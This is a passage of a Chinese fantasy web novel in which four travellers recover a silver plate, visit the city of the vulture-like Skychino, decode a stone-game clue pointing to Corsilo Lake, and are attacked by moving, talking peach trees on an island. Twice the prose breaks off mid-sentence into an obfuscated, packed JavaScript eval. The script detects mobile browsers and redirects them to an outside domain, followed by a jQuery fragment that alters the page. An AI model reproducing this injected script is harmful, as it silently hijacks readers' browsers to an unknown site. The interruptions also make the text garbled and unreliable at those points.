“我来吧。”克雷尔说，她接过烤架，仔细看了下，这肉大概没法弥补了，只能还原成烤前的状态，“重新烤吧。” 埃弗里丢下食谱，在蒂娜的帮助下，把肉烤上去，并减弱了火力，转头向克雷尔感叹:“你的时间魔法运用得真熟练，我最多只能复原到十分钟前。” “你这个年纪已经很厉害了。” 埃弗里摇头，“魔法课的老师说，使用时间魔法最厉害的魔法师，能够将物体还原到五百年前的状态，我还差得远呢。” 克雷尔笑了笑。 那个魔法师指的应该是她。 时间魔法确实是她掌握最娴熟的魔法类型，天分是一方面，刻苦练习是另一方面。 在很长一段时间里，她几乎什么都不做，只顾着练习时间魔法，其她魔法的进展一直停滞不前。 时间魔法确实好用。 虽然它的局限之处非常多，并且不能用在人身上。 克雷尔已经很久没用过了。 埃弗里发出了相同的感慨，“可惜不能用在活物身上，且时间只能后退，不能前进，不过也能理解，如果可以的话，世界就彻底乱套了。” “是这样。比如，可以对埃弗里用时间魔法，让她的时间快进到一个月后，这样我们就能立刻知道，魔王的银片到底在哪里了。”安西娅说。 埃弗里转头看了她一眼，若有所思地喝了口饮料。 四人住在旅馆的二楼，深夜时分，埃弗里披上衣服起夜，发觉门缝里透进了灯光，干脆把衣服穿好，打开门走出去。 “还没睡？深夜是卡兹奥尔的领域。” 那人回过头，笑着接话，“那就请卡兹奥尔告诉我们银片的下落吧。” 卡兹奥尔是创世史诗里掌管夜晚的巨蛇，同时也掌管时间。 安西娅说着往旁边挪了挪，腾出一个位置。 旅店坐北朝南，采光良好，所以在走廊里放置了一些沙发，方便旅客们午后晒太阳犯懒，消磨时间。 午夜不睡的人只能晒月亮。 “我就猜到你肯定还没睡。”埃弗里说。 安西娅把灯光亮度调暗了一个度，以为是灯光暴露了她，“吃多了，有点撑得慌。” 埃弗里笑了下，切入主题:“进展不顺利么？” “是的，我本来打算明天早餐时再说的——虽然她们对我们的帮助很感激，可每当我提到银片，都会非常为难地转移话题，该怎么拿到是个大问题。” “愿意给，但是不能给，或者有所顾虑吗？” “也有可能是不在她们手里了，给不了……毕竟是魔王的东西，发生什么都有可能。”安西娅说，“我打算明天再打探一下。” 她已经选好打探的目标了。 今天和委员会共同工作了大半天，要说多熟络，那没有，但各人的性格她大致摸清楚了。 唐恩刚过完一百五十七岁的生日不久，正值壮年。她身形健硕，肌肉紧实，大笑时双下巴也会跟着抖动，笑声爽朗。 她独自照看着一家种子店，没有生育过，却很有小孩缘。镇上的孩子是大家的孩子，那些还不到她胸口高的小家伙总是很热情，抱着她的胳膊或者大腿，“唐恩妈妈”长“唐恩”短地闹她，要她陪她们玩。 孩子似乎天生就知道谁对她们招架不来。 最近狩猎季，是一年一度的新鲜玩意，孩子们被转移了注意力，来种子店没那么勤了，让她感到轻松的同时也有点无聊。 种子店的门被敲响了，她打开，门口站着那三个旅客少年中的一个，正笑吟吟地提着一个网兜。 见她看过来，少年把拳头抵在嘴角，笑着说:“镇里预定的海鲜今天正好送到，我帮忙送过来。” “只是送海鲜吗？”唐恩松了口气，“谢谢。” “其实也不只是因为这个，唐恩知道面包房在哪里吗？”安西娅嘴角垂了下去，忧伤地说，“我和朋友们闹了点小矛盾，我们大概不会一起吃午饭了。所以我打算随便拿个干面包啃啃，凑合一下。” 旅店里有厨房；随便敲开镇上的哪一扇门，都不会有人介意留孩子吃一顿饭。 她显然不是为了蹭饭。 十六岁的孩子，连她年纪的零头都不到，表演拙劣，骗不过她。 那少年当然知道骗不过，却依旧笑吟吟的，任她怎么看都异常坦然，笃定她不会拒绝。 唐恩认命地往后退了一步，邀请她进来:“正长身体呢，怎么能只吃面包？不介意的话，就来和我一起吃午餐吧。” 活蹦乱跳的海鲜放进水池，午餐吃鸡尾酒虾、蒸牡蛎和鸡肉奶油蘑菇汤。 唐恩在水池旁挑虾线，安西娅在不远处的小阳台摘薄荷叶，间或夹杂几句闲聊。 “所以，唐恩你其实知道魔王的银片在哪，对吗？” 唐恩不知道“所以”这个单词是怎么理所当然地出现在句首的，就仿佛她们一直在谈论这个话题。 但不是，明明上一句还在讨论牡蛎蒸多长时间味道最好。 “可能有点突然，但感觉比起旁敲侧击，直接说出来会比较好，它对我们来说真的很重要。” 唐恩叹了口气，把挑断的虾线扔进垃圾盒里，“银片确实在我们镇里放着，而且它对我们也没有用处。实不相瞒，今天早上委员会开了个会，结论是可以把它给你们，不过——” “要对我们进行考察？”蒂娜不可置信地问。 “她的原话不是这样，不过基本是这个意思。” 安西娅刚从外面裹了一身寒气回到旅店，正捧着热茶，坐在壁炉旁取暖，声音也懒懒的。 “我们要做试卷吗？” “不，没那么复杂，她让我们该做什么做什么，等我们离开那天，就会决定要不要把银片给我们了。” 唐恩还特意强调，和她们对镇子里的帮助没有关系，无论是忙进忙出脚不沾地，还是躺旅店什么都不做，对结果都毫无影响。 “那到底是在考察什么？” 搞不懂，但目前只能先这么做了。按照计划，她们会在镇子里逗留四天，等到了第三天晚上，她们被叫到了狩猎像下。 唐恩把一个巴掌大的金属盒交给安西娅，“打开看看吧，你们需要的银片是这个吗？” 安西娅接过，小心打开。里面只有一个薄薄的银质金属片，没有任何纹理，其貌不扬。 克雷尔觉得有点眼熟，一时半会想不起在哪见过，仔细想了想，是银片的形状有点像扑克牌里的黑桃。 三个人拿着银片看了又看，反复确认。 “没错，确实是预言里的那个。不过可以轻易就给我们吗？” “本身也不是我们的东西，只是寄存在这而已，把银片给我们的人说，会有三个人过来把它拿走。” 三人你看看我，我看看你。 “本来应该直接给的，但你们是四个人，所以我们犹豫了。” “原来如此，多谢你们保存着它。” “没什么好谢的，把它交出去，我们也松口气。那个人把东西给了我们的祖辈，当时都以为只是过段时间就会有人来拿，没想到居然过了这么多年。” 埃弗里赞同:“是啊，已经过去上千年了。” 唐恩欲言又止。 安西娅敏锐地追问:“是埃弗里的说法有问题吗？” “没什么，我只是在……”唐恩卡壳，努力措辞，挣扎片刻后选择放弃，实话实说:“事实上，我们并没有保存千年那么久。那个人是八百年前交给我的祖辈的，但她说，如果对你们提起，就一定要在原本的基础上加一百多年。” 几人互相对视了一眼，都看出了彼此心里的担忧。 预言画于一千年前凭空出现，非本土产物，预言纸是土著人翻译出来的，时间差不多是在八百年前。 预言纸上说魔王拥有银片，如果想找到魔王，银片是非常重要的道具，但预言画中没有出现银片的形象。 她们本来以为，银片在预言画上的文字里有提及，只是她们看不懂文字而已。 现在时间上出现了疑点，三人不得不开始思考，预言纸“翻译”出的东西到底是真是假。 “说到底，银片根本没有在画里出现……我想我们可能太相信那张纸了。”埃弗里低声说。 安西娅拍了拍她的肩膀，“幸好你已经把画的内容背下来了，接下来我们按照画上的内容行动就可以了。” 新的问题又出现了。 画里没有展现她们一路上的经历，几个空镜之后，就到魔王大本营了。读者只能通过人物脸上的汗水，得出这一路上不轻松的结论。 埃弗里表情凝重:“先走一步看一步吧，我们现在的路线是那张纸给的，而且只有一站路了，预言纸是真是假，看我们最终能不能找到魔王城堡就知道了。” “下一站是斯凯奇诺的城？” “对。” 要去斯凯奇诺就必须提前准备，其中最重要的一点，要换上色彩鲜艳的衣服。 怎么能把这个忘了呢？安西娅对唐恩说，想要借几件成年人的衣服，颜色越显眼越好。 “是克雷尔需要吗？这个倒不难。” 本身森林附近的人，为了在森林里迷路时，及时被搜救者发现，以及应对大雾天气，衣物大多是鲜亮显眼的颜色。 “我记得夏洛特和她身形差不多，应该能穿，我一会儿帮你们去借吧，红色加绒外套可以吗？” “可以的，但不需要太厚，那边的冬天不怎么冷。” 唐恩低声忖度:“不冷……鲜艳的衣服……你们是要去斯凯奇诺的城？离镇子最近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559896|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个？” 三个少年没怎么出过远门——指跨越半个大陆的那种，纷纷看向克雷尔，克雷尔点头，“对，是那里。” 说是最近的，却也足足要走上三天两夜才能到。 斯凯奇诺直译是秃鹫群，她们是生活在天空中的智慧种族，一年中踏足陆地的时间，加起来只有十天左右。 大陆上星星点点地分布着她们的“城”，是她们在地面上的据点。 在这片大陆上的陆地种族中，存在聚集区与村、镇，大多是小型居住区。很少有更大规模的，更不会有被墙围起来的“城”。 城只属于大陆以上的天空种族。 唐恩思索了下，“如果不急，可以再在镇子里呆几天，等狩猎季结束，镇子里也要派人去那里交易，可以陪你们一起。” 她们确实有点急，本来不急，只是现在必须抓紧时间确认预言纸的真实性，恨不得马上飞到魔王城去。 埃弗里说:“没关系，我们有克雷尔这个成年人陪着。” 唐恩再度欲言又止。 不是她不信任克雷尔，而是听几个孩子的话，她们拿到了银片，但可靠性存疑，“那张纸”也有疑点； 而且她们没准备克雷尔的衣服，显然她是后来加入的……好吧，她确实对克雷尔不太放心。 蒂娜:“克雷尔是我们的朋友，是好人，你可以放心！” 克雷尔下意识皱眉，却也明白不该在这种时候发出质疑扫兴。 唐恩笑着说:“也对，克雷尔毕竟是协会的成员。” 异常生物魔法研究协会的涉猎面极广，她们研究很多东西，异常事件、各类生物、各种魔法——异常/生物/魔法/研究协会，这才是正确的断句方式。 涉猎面广，理所当然的，协会成员也很多。 克雷尔隶属于魔法分支。该分支下的理论魔法部门里，有几个斯凯奇诺是常驻成员。 “她们真的像书上说的那样，性情高傲吗？我们学校偶尔会聘请她们，但从没有学生能和她们说上话。”埃弗里说。 越是靠近斯凯奇诺的城，三个人就越发忐忑，她们从来没有和天空之上的种族打过交道，唯一了解的渠道是书本，然而上面写斯凯奇诺性格孤傲冷漠。 “不清楚，我属于实战部门，平时没有和她们接触过。” 蒂娜:“书上说的也不一定是真的，上面还说斯凯奇诺不擅长魔法呢，实际上人家都进魔法部门了。” 埃弗里:“这也不能说明什么，协会的入会考察很严格，但考察项目里不包括天赋筛查。” 协会有很多项规定，也没有哪一条说，不擅长魔法的人就不能研究魔法。 蒂娜向克雷尔确认。 “确实没有，另外，考察也不严格。” 所谓考察也只是品行审查，目的是防止有人利用协会做坏事，进了协会，只能说明那个人人品还过得去而已。 “什么嘛！结果还是什么有用的信息都没有。” “这也没办法，本来天空与陆地的种族就很少有交流的机会。”安西娅安慰她，“至少我们知道要换衣服表示友好。” 两个陌生人见面，想要顺利交谈，双方都需要释放友善的信号。 斯凯奇诺有着秃鹫一样的翅膀、爪子和喙，她们在天空中捕猎，在飞行中休憩，陆地上的城是她们的厨房和仓库。 因此很容易理解，为什么只有斯凯奇诺拥有“城”。 因为那是一个巨大的私家后厨。 她们把抓到的猎物放在那里，有专人守卫，轮班人员会对猎物进行处理，一部分丢进冷库，一部分烹饪成方便抓握的食物。 她们要进人家的厨房，还要翻箱倒柜找东西——据说她们要找的金剑，就埋在城里的某个地方，具体位置不明——就必须遵守别人的规矩。 斯凯奇诺拥有鸟类的视觉神经，她们对色彩的感知能力同样很强，却并非和鸟类完全相同。 在她们眼中，穿上色彩明亮的衣服代表着示好，“你看我主动暴露在你们的视野之中，我没有敌意”。 但也不能太亮，否则就是“看我闪瞎你们”，是挑衅。 暗色调的衣服，如黑色夜行衣等，在她们眼里起不了隐藏的效果，只会让你看起来偷偷摸摸，引人警惕。 虽然克雷尔穿黑色只是因为现在是冬天，黑色吸热。 临近城墙，远远地就看到了守卫，两个浮在离地一米高的半空中，其中一个用翅膀尖撑着额头，动作有点像扶额，似乎正在苦恼。 另一个体型比她小很多，爪子勾着一本线圈笔记本的线圈，飞在旁边，正不停地说话。 大斯凯奇诺把头转向另一边，她就立刻快速扇动翅膀，也飞过去，继续说，时不时晃晃线圈本。 靠近了才发现，那是一个幼年斯凯奇诺，看起来也不过四十岁左右。 人类和精灵相似，都是生长发育迅速、十几年就能达到亚成年体型，并以这个状态度过漫长的未成年时期。 斯凯奇诺则完全不同，她们的成长更有规律，生长发育情况和年龄相匹配。她们一百二十岁成年，四十岁的斯凯奇诺体型，差不多只有成年同族的三分之一。 不像人类精灵，十几岁的未成年和成年人站在一起，根本区分不出。 那个幼年斯凯奇诺，似乎还没学到怎么判断其她种族的年龄，看到她们过来，高兴地说:“太好了，是四个成年人类和精灵。” 显然误会了。 还不等她们解释，她就已经飞到了面前，语速飞快:“世界的本质是什么？” 蒂娜条件反射回答:“是卡兹奥尔和佩洛西的玩具球。” 5. 秃鹫的城 世界是个虚无的球体，漂浮在宇宙中，除了盘旋其上的双头巨蛇，一无所有。 一个蛇头拥有全黑的瞳孔，另一个蛇头拥有全白的瞳孔；一个叫卡兹奥尔，另一个叫佩洛西；一个掌管黑夜，另一个控制着白天。 黑蛇睁眼时，世界便陷入黑暗，白蛇睁开眼，白昼就降临了。 月亮有阴晴圆缺，流动与变化是夜晚的固有属性，太阳亘古不变，日日如此，永恒与规律是白昼的特质。 所以佩洛西掌管着白天与真理，卡兹奥尔控制着夜晚和时间。 但这并不固定。 不只有太阳恒久不变；日升日落同样能彰显时间的流转，日与夜也会在某一瞬间交汇。 某一天，卡兹奥尔和佩洛西同时睁开了眼睛。 在那一瞬间的光芒里，诞生了最初的母神，阿卡姆托。 意为混沌无知的神。 一片虚无的世界，和它无知的神明。 她诞生时只是个婴儿，对一切都没有概念的婴儿在空白中爬行，于是“空间”诞生。 她呼吸，然后“空气”开始流动。 在她发出咿咿呀呀的音节后，世界才有了声音……她肆意挥洒着她的神权，无知无觉地创造。 当她创造的所有物种体内，都充斥着她的神力，她就变得和自己的造物别无二致了。 如果她的造物、她的孩子不是神，那她当然也不是。 在最后，她把自己仅余的一点神力抛向天空，天空如同被撒了墨点的画布，几次激荡，墨点四溢，具象出天与地的分界线。 然后她走向她们，走入她们之中，成为了这世上万千物种无数面孔中的一个。 创世史自此结束，魔法时代开启，如果有人说想知道世界的本质，就必须从这两个方面同时着手。 蒂娜只是在胡说，斯凯奇诺小孩似乎真的信了，得到答案就立刻飞走了，只留下摸不着头脑的四人组。 “果然是高傲的种族，连一句话都不多和我们说。” 完全搞不明白，为什么她会突然问这个。 “不用管她，来登记。”那个成年斯凯奇诺冲她们喊。 和幼年体相比，成年斯凯奇诺的翅膀更大，更雌壮，完全展开时，可以将城门完全遮蔽住，紧密排列的背羽，在阳光下反射出金属的冷厉光泽。 她的脖子很粗壮，喙却极为尖锐，带着弯钩，发出的声音仿佛是被挤压出来的，尖利高亢。 如果声音有实体，那她的声音一定是把锥子，能清晰地感受到锥子的尖头快速划破空气，然后砸在她们身上，硬邦邦的。 简单登记之后，她拿出四份地图，和四只[踪影]。 “一次性定位器，绑身上，出城会自动销毁。虽然城建在陆地上，但我们都是飞，而不是走路，所以城的内部构造和你们的完全不同，很危险。跟着地图走。” 完全不同的生活模式，造就了完全不同的居所构造，适配天空种族的设施，对陆地种族来说，却充满危险。 这是斯凯奇诺设置围城，并派人把守的重要原因。谁也不想看到，天真的陆地小孩进城玩，却不慎受伤或是丧命。 构造不一样，这让埃弗里产生了好奇心，她们是飞的，那厨房的刀具是浮在半空中吗？——为了方便她们操作。 那样的话确实很危险。 还有刚才的孩子，她爪子上是线圈本。 据埃弗里所知，她们从不用纸写东西，因为传统的笔不适配斯凯奇诺的生理结构，可她爪子勾着的确实是线圈本。 埃弗里知道现在不是该想这些的时候，她暂且压下好奇心，说:“我们并不是要从城里穿过去，我们是来找东西的，你听说过——” 斯凯奇诺的脸几乎是立刻冷漠下来，粗鲁地打断提问:“没有，城里没有你要找的东西。” 埃弗里有些不知所措。 “好的，我们知道了，”安西娅代替她站在斯凯奇诺面前，“我们不会在城里寻找东西了，不过还是想打听一件事，你听说过魔王的金剑吗？” 斯凯奇诺不假思索地回答:“没有，从没听说过。” “好吧，或许你的长辈听说过？虽然有些叨扰，但请看在我们刚才为你解决了一个烦恼的份上。得到答案，我们会立刻离开的。” “好吧，”斯凯奇诺不情愿地说，“看在你们帮她做了作业题，让她不再烦我的份上。” “那是作业题？！”蒂娜惊呼，面对守卫疑惑的表情，干笑两声，“没事，没事，我容易大惊小怪，天生的，天生的。” 她立刻转头，压低声音对着同伴，“坏了，我们必须在她们发现那是我胡说的之前，问到金剑的下落，然后马上溜！” 埃弗里:“没那么夸张，根据我的经验，那是一道开放题。” “那就好，开放题答案别太离谱就行，我的答案也不是很离谱……不离谱对吗？” “……………………………………………………………………………………………………………………嗯。” “不要给我沉默那么久！” 身后传来一道熟悉的笑声，是安西娅，蒂娜马上忘记了刚才的恼怒，连忙追问:“怎么样？问到了吗？” “她仔细回忆了一下，没有任何印象，但她说我们可以去问图书馆管理员。” 埃弗里:“她们似乎只有厨房是在陆地的？” “是的，但她们的图书馆也不在空中。”原本一直沉默着的克雷尔说，“准确的说，她们的图书馆不是实体，斯凯奇诺不擅长魔法，与之相对的，她们的其她技术极为发达。” 克雷尔不知道该怎么形容那种技术，只能含糊带过。前世似乎有好几个词语可以恰当的描述，只是她一时记不起来。 “还不如在空中，至少我们能想办法飞上去。” “不用担心，她给了我们这个。”安西娅摊开手，掌心躺着一粒豌豆种子一样的东西，“我们找个空地吧。” 几人到了一块开阔的地界，安西娅把豌豆捏碎，瞬间，眼前凭空而起一个5层楼高、颇为壮观的……云。 云朵浮在半空中，上有一个黑点，黑点绕着云体转了一圈，什么也没找到，于是俯冲而下，收敛羽翼，落在四人面前。 是一个年老的斯凯奇诺，她拥有一身深褐色、带有斑点的羽毛，覆盖在双腿上的绒毛是黑色，爪子和喙的根部有些白色的竖纹，却依旧有力。 她缓慢地扇动着翅膀，看起来威严而难以接近，“人类和精灵，你们想借什么书？” “我们不借书，想打听一样东西，魔王的金剑，你有听说过吗？” “从没听说过。” “那几百或者上千年前，就在这里，有一个非斯凯奇诺的人，想请求你们保存一把剑……这件事图书馆里有记载吗？” 年老的斯凯奇诺有些不耐烦，“秃鹫的图书馆不记那种没用的东西！” 她话锋一转，“但这件事我有印象，那真是一把巨大的剑。” 眼看有了线索，安西娅松了口气，“对对，就是那把剑，你知道它现在在哪吗？” “扔了。” 安西娅的笑容僵在脸上。“扔了？” “对，扔了。我们对玩具不感兴趣，世界上最强大的武器是我们的爪子和喙。” “才不是，最强大的武器明明是我们的——” 埃弗里捂住蒂娜的嘴，问:“可以问下扔到哪里去了吗？” “不知道。” 没等她们重复这句话，老斯凯奇诺就解释说:“不是我们扔的，是那个人看我们不收，自己扔的，所以不知道她扔哪去了。” “好吧，还有最后一个问题，这件事发生在800年前？” “对。” “她还让你们告诉我们，是发生在1000年前。” “没有，因为我们拒绝了她，她直接走了。” 蒂娜气愤地说:“又是八百年前，预言家是个骗子。” “都快到了，不管怎样，先确认一下魔王的真假，如果是上当受骗了还好，只当是旅游了，就怕是真的。” “可是金剑被扔了，我们连个线索都没有。” “如果是那个人苦心布的局，想引导我们去找魔王，她不可能真的扔了。” 她们又和斯凯奇诺交谈了一会儿，果然得到了新的线索，“那个家伙小心眼，被拒绝了，就在城墙上乱涂乱画，印记至今消不掉”——老年秃鹫是这么说的。 几人绕着城走了一圈，什么都没发现，只好放慢脚步再走一遍，这次还没走到一半，就注意到了墙壁上一个非常小的图画。 是一局未完成的石子棋。 埃弗里不确定地说:“难道把棋下完，金剑的地址就会自动浮现？” 蒂娜已经摩拳擦掌，开始下棋了，埃弗里负责记录每一步的棋路，以待复盘。 一局棋下了将近两个小时，总算结束，眼见时间已经接近中午，大家干脆就在这里吃起了午饭，边吃边研究棋盘。 安西娅问:“蒂娜，想获胜是不是只有你那一种思路？” “当然了，像我这样的石子棋天才，也只能想到这一个破局方法。” 安西娅招呼大家来看:“蒂娜一共下了四十三颗棋子，把它们连在一起，恰好可以连成一条线，说不定是寻找金剑的路线。” “不太可能。过去了几百年，这里的布局早变了，就算路线以前是对的，现在也不可能导向正确的方位了。”埃弗里摇头。 “那个预言家也不是傻子，都能骗我们了，不会能想不到城中格局变迁。棋盘指向的，肯定是某种起码千百年不会变的东西。” 这倒也是。 大家继续盯着棋盘思考。 午饭吃到一半，安西娅再次开口，这次她的语气更为肯定:“你们看棋子的形状。” “不规则形，每个都不一样。” “我是说棋子总体拼成的形状。卡拉石的，和其她石子的，把它们分别当做一个集体……形状恰好是大椭圆怀抱着一个小椭圆。” “这个形状……”埃弗里显然想到了什么，掏出地图，指给她们，“看，是科尔西洛湖。” 现在高兴还为时太早。首先要确定这个湖是八百年前就长这样，还是后来演变的，别搞错了。 克雷尔说:“科尔西洛这个名字一千年前就有了。” 这就对了。科尔西洛意为母子，显然是根据湖的形状命名。 她们现在所处的位置是大陆的左侧山脉，以少雨少旱、气候稳定著称。 无论春冬，天空总是蓝得像是一块没有气泡的水果硬糖，云几乎不会流动。阳光在冬天还是夏天都毫无分别，牛羊在四季长青的草地上，慢吞吞地甩尾巴。 几百年不发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559897|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生任何变化的湖泊，在这里绝不是什么罕见的事物。 沿着山脉往南走，当感受到脚下的柔软青草变得有些坚硬，色泽也更为湿润油亮，就证明科尔西洛湿地到了。 然后你会看到一块荡漾的绿宝石。那就是科尔西洛湖。 湖水绿得有些不真切，水中的波纹晃啊晃，倒映出来人苦恼的脸。 安西娅掬了把水:“湖到了，我们先后见到了陆地种族和天空种族，接下来是水底吗？” 蒂娜嘟囔:“我讨厌水。” 埃弗里:“我们的魔法能力，不足以支撑在水里呼吸。” 说话时她看了克雷尔一眼，克雷尔当然可以做到，但她不认为现在有危机到需要克雷尔帮助。 “那个预言家应该不会让我们去淤泥里挖金剑，虽然比大海捞针要容易。”埃弗里说，“先上岛吧，如果岛上没有线索，再考虑去水里。” 母子湖，母是湖，子是位于湖心东侧的小岛，离岸边很近，划船半小时即可抵达。 放牧人的小屋里有一艘小船，用来摘岛上的野桃，它小得只能容纳两个人。 她们向她借了过来，并承诺会给她带一些岛上的冬莓果作为回礼。 在来回往返的过程中，埃弗里不合时宜地想起了那个经典的、船运人需要往返几次的题目，让她控制不住笑起来。 蒂娜第一个抵达，因为担心有危险，安西娅叮嘱她，要等所有人都上岛之后再行动。 岛不算大，沿着外围绕一圈，也只需要一个多小时，除了一些粗壮的桃树，和肆意生长的荆棘丛，也就只有林立的石碑了。 石碑共有十三个，每一个上面都刻着大陆通用文字。 埃弗里挨个上前确认，撰写人似乎是为了不暴露身份，刻意模仿她人字迹，所以下笔滞涩，笔迹歪斜。 “刻这些字的和刻石子棋的，是同一个人。” 只要是书写篆刻，哪怕有意混淆，本身的用笔习惯、下笔力度也很难轻易改变。 现在事情已经显而易见了，每个石碑上面都刻有一个问题，而在她们面前的这个上面写着——“卡兹奥尔的职责是哪两项？” 蒂娜抱怨，“我为什么要在假期里复习功课？” 埃弗里从背包里找了把小刀，刻字:“时间、夜晚。” 石碑没有任何反应。 说不定要把十三个问题全部回答一遍？ 第二题，“阿卡姆托用什么办法，让世界上第一个动物获得移动能力？” 埃弗里继续往上刻答案，“维度跨越。” 第三题、第四题……十三道题几乎都全都是创世史的，而且都很基础。 全部刻好之后，石碑们依旧没有反应。 “这些石碑年久失修，上面附加的魔法失灵了？”安西娅只能想到这个可能。 “说不定是有人提前拿走了金剑，这些题目太简单了。”埃弗里有些担心。 刚上岛时，克雷尔简单探查了一遍，岛上确实存在魔法气息流动的痕迹，但不在石碑上。 只是她还没想好，要不要告诉她们。 她可以用魔法帮小镇上的人维修家具，因为那只是机械劳动，即使没有她的帮助，埃弗里多花两天也能完成。 和现在的情况不一样。 “先休息会儿吧。”她说。 安西娅赞同，“我们已经忙了一整个下午了，克雷尔没说时没感觉，但现在确实又累又饿，我们先吃点东西吧。” 将近傍晚，光线暗淡，埃弗里把魔法灯挂在桃树的树枝上，支起锅，就着灯光准备晚饭。 蒂娜摘了一些冬树莓，一部分作为今天的餐后水果，一部分装起来，作为给放牧人的回礼。 克雷尔把手放在桃树上，轻声说:“桃木用作烧烤也挺不错。” 声音太小，只有蒂娜没听清，转头问她说什么，除此之外，没人对她这句话做出回应。 “没什么。”克雷尔说，过去和安西娅一起拆分肉食。 天黑得出奇的快，埃弗里只觉得被谁的影子挡住了视线，头也不抬地说:“安西娅，往旁边去点，不要挡着光了。” “我没挡，克雷尔可以替我作证。”安西娅很冤。 埃弗里抬头看过去，是几支光秃秃的树枝挡住了灯。 可她之前特意把灯挂在了最前面的树枝上，不会被挡住。 蒂娜捧了满怀的莓果回来，见她们都盯着树看，也不明所以地看过去，表情逐渐变得凝重，不确定地问:“这个树，还有别的树，刚才就在这里吗？” 什么？ 安西娅和埃弗里都露出了惊疑不定的神情。 因为埃弗里执意要喝热汤，所以她们特意在林中选了个开阔的空间，做煮汤吃饭的地方。 她们身在其中，或许没办法察觉，可是刚从外面回来的蒂娜却注意到，这里已经变得拥挤不堪了。 那些桃树的树干，原本绝对没有紧挨着她们的锅具，安西娅也绝不可能把地垫铺得皱皱巴巴，堆在树根处。 它们离她们变近了。 “树在动！？” “事实上更糟！它们不止在动，而且动的速度明显在变快。” 其实蒂娜回来的路上，就已经隐约感觉树变密集了，当时只觉得天变黑了，是影影绰绰的树枝带来的错觉。 现在看来，是它们在向内包围她们。 6. 坏消息:被追杀了 该怎么形容她们现在的情况呢？ 埃弗里小时候看过一本绘本，她现在年纪也不大，所以能够很清楚地记得里面的情节。 小熊在家门口种了一颗樱桃树，春天樱花盛开，初夏她吃到了美味的樱桃，秋天和飞舞的落叶做游戏，可是冬天到了，她的小伙伴樱桃树，变得光秃秃的，也不再回应她的呼唤。 她难过地哭了起来。 这时樱桃树弯下腰，用树枝摸了摸她的脑袋，和蔼地说:“不用为我难过，春天开花结果，冬天凋零，这是遵循时间变化的自然规律啊。等到春天，我就又会变得像以前一样，又能和你一起玩了。” 绘本的配图非常唯美，说不定那是个很治愈的童话故事，但埃弗里无法理解。 她看了好几遍都无法理解。 为什么小熊会说话？为什么樱桃树也会说话？为什么樱桃树还能摸小熊的头？ 后来埃弗里明白，那只是一种夸张的表述方式，树和熊都不会说话，所以要拟人化帮助小朋友理解。 可是现在，她该怎么理解桃树正说着话追杀她们这件事呢？ 说追杀不太准确。 它们只是不停地说着“成为和我们一样的树吧，想结软桃结软桃，想结硬桃结硬桃”，然后攻击她们。 在它说第一遍时，安西娅即使在惊讶中也及时作答，“感谢好意，很遗憾我不爱吃桃子，我是苹果派。” 蒂娜嘴比脑快，“我是香蕉饼，呸，我才不是饼，我也不会是树！” 但当所有树都在不停地喊着这句话时，已经没人愿意回复它们，在口舌上耗费仅剩不多的精力了。 她们没能吃上晚饭，现在还忙着躲避桃树的攻击，疲惫写在每个人的脸上，说不定很快，她们就会无法应对它们的攻势。 现在已经很困难了，包围战术，她们在圈里可发挥的空间不大，往上跳到树枝上？那是自投罗网。 “你们怎么样？” “我还好，幸好我偷吃了很多莓果，”蒂娜大口喘着粗气，“不过也好不了太多，我不要变树，树动都动不了！” “事实上树是可以移动的，在几种特殊情况……” 安西娅打断:“埃弗里，我很乐意听你的魔普知识，但还是等我们出去之后吧。克雷尔，你怎么样？” 三人背靠着背，往四周张望，发现克雷尔正坐在其中一颗桃树上，一动不动，就和第一次见面时一样。 没有桃树攻击她。 看来是再次隐匿气息了。 安西娅若有所思，看来克雷尔认为现在还不算是危机时刻，认为她们可以自行解决。 还来不及思考如何破局，眼前的桃树，突然发生了肉眼可见的变化，枝丫上抽出绿芽，粉白色花瓣快速绽放，而后脱落，取而代之的，是一个个正在迅速膨胀的桃子。 它们在疯狂开花结果。 桃树没有骗人，它们确实是想结软桃结软桃，想结硬桃结硬桃。 软桃砸在仅剩不多的地面和树根上，软烂如泥，让人很难站稳。硬桃被当做远程攻击武器，不停地向她们抛掷。 埃弗里又一次体会到那种无法理解的心情。 冬天开花结果，这根本不遵循时间周期和自然规律！ “时间，”埃弗里脑子里的某根弦突然绷紧，她不停地低声重复这个单词，仿佛这就是破局的关键，几个呼吸的间隙之后，她猛地抬起头，双眼闪烁着明亮的光芒， “时间，属于它们的时间混乱了！” 而她们做的第一道题就是关于掌管时间的卡兹奥尔。 第二题是关于怎么让动物移动的阿卡姆托。 看到桃树移动时她就应该想到这个的！她早该想到的！ 是“距离”维度！ 阿卡姆托赋予了动物自主跨越距离维度的天赋。 植物没有这个天赋。 一些说是能移动的植物，本质上也不是自移动，而是受外力影响，比如一棵树被巨风吹到了另一边，能说它是有自由移动的天赋吗？ 显然不能。 即使是现在的阿卡姆托，也无法再赋予它们移动的天赋，在她把创世神权分发给所有种族之后，她就已经不是神了。 只有一个可能。 它们也是被移动的。 不过比起被风吹走，更像是在“花盆”里安装了自动追踪系统，在追着她们跑。 只要摧毁了“花盆”，就可以结束这场追逐战。 想通了这点，连桃树会说话都不令她惊讶了——只是重复同一句话而已，她可以立刻说出十种这类魔法的名称。 而它们的疯狂开花结果……虽然时间魔法不能运用在活物上，但“催熟”可以做到。 埃弗里顿时觉得眼前拨云见雾，一切都明朗了。 